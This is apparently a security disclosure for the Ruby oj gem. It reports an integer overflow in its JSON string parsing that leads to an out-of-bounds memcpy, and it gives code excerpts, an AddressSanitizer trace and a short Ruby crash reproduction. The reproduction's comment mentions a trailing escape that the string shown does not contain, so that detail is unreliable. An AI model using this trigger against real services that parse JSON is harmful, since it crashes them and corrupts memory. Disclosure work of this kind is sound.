Summary

Oj.load is vulnerable to heap corruption when parsing a JSON string longer than 2 GB. An integer overflow in buf_append_string (buf.h:61) converts the string length to a large negative size_t, causing memcpy to copy an astronomically large amount of data out of bounds. This crashes the process and can corrupt adjacent heap memory.

Version

• Software: oj gem
• Affected: all versions with ext/oj/buf.h and ext/oj/parse.c
• Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/buf.h, line 61:

inline static void buf_append_string(Buf buf, const char *s, size_t slen) {
    // ...
    memcpy(buf->tail, s, slen);   // slen derived from 32-bit int that wrapped negative

In parse.c, escape sequence handling computes the remaining string length as an int:

// parse.c:402 (read_escaped_str)
int  slen = (int)(s - str);   // ← wraps to negative when string > 2 GB
buf_append_string(buf, str, (size_t)slen);  // ← (size_t)(-2147483648) = 0x80000000...

ASAN report:

==399019==ERROR: AddressSanitizer: negative-size-param: (size=-2147483648)
    #0 __asan_memcpy
    #1 buf_append_string  /ext/oj/buf.h:61
    #2 read_escaped_str   /ext/oj/parse.c:402
    #3 read_str           /ext/oj/parse.c:542
    #4 oj_parse2          /ext/oj/parse.c:882
    #5 oj_pi_parse        /ext/oj/parse.c:1256
    #6 oj_object_parse    /ext/oj/object.c:701
    #7 load               /ext/oj/oj.c:1259
0x7f5a26ff0801 is located 1 bytes inside of 2147483657-byte region [0x7f5a26ff0800, 0x7f5aa6ff0809)

Reproduce

require 'oj'
n = 1 << 31                         # 2 GB
json = '"' + ('A' * n) + 'A"'  # >2GB JSON string with a trailing escape
Oj.load(json)